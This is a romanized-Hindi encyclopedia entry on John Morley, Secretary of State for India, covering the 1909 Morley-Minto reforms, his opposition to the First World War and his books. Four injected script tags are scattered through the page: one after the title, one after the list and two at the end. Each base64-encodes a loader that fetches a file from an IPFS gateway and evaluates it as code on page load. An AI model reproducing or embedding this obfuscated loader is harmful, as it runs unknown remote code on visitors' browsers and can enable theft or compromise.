जॉन मार्ले
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- j aaun marle 1905 ee. se 1910 ee. tak bharat ka mantri raha tha.
- 1907 ee. mean usane jahaan ek or bharat mean atankavadiyoan ke viruddh k di karravaee karane ka samarthan kiya, vahian doosari or landan mean bharat mantri ki kauansil mean do bharatiyoan tatha vaisaray ki ekzikyootiv kauansil mean ek bharatiy ki niyukti karake shikshit bharatiyoan ko santusht karane ka prayatn kiya.
- usane bharat mean sansadiy shasan-vyavastha ki sthapana karane ka koee sarakari irada hone se inkar kiya, kintu 1909 ee. ka gavarnament aauf indiya ekt pas karake bharat ke sanvidhan mean kafi parivartan kar diya.
- yah marle-minto sudhar qanoon ke nam se vikhyat hai.
- isake aantargat bharatiy sanvidhan mean pahale se adhik b di sankhya mean nirvachit jan pratinidhioan ki vyavastha ki gee, vidhan mandaloan mean prashn poochhane, bajat par bahas karane tatha prastav pesh karane ka adhikar de diya gaya.
- l aaurd minto dvitiy ke sath-sath vah bhi bharatiy vidhan mandaloan mean sampradayik pratinidhitv ki pranali arambh karane ke lie zimmedar tha.
- das varsh ke bad, bharat mantri ke pad se hat jane ke pashchath usane maantegyoo-chemsaford sugharoan ko asamayik bataya tha.
- vah yuddh virodhi tha aur 1914 ee. mean pratham vishvayuddh chhi dane par usane sarvajanik jivan se avakash grahan kar liya.
- vah ek prasiddh lekhak bhi tha aur 1923 ee. mean mrityu se poorv usaki ganana sabase vayovriddh aangrez sahityakaroan mean ki jane lagi thi.
- aangrezi bhasha mean usaki mukhy pustakean 'glaidaston ka jivan' (1903 ee.), 'valteyar' (1872 ee.), 'rooso' (1873 ee.), 'kabaden' (1881 ee.), 'bark' (1879 ee.), 'balapol' (1889 ee.), 'kamavel' (1900 ee.) tha 1917 ee. mean prakashit usake 'sansmaran' (do khand) haian.
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
bhattachary, sachchidanand bharatiy itihas kosh, dvitiy sanskaran-1989 (hindi), bharat diskavari pustakalay: uttar pradesh hindi sansthan, 360.
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>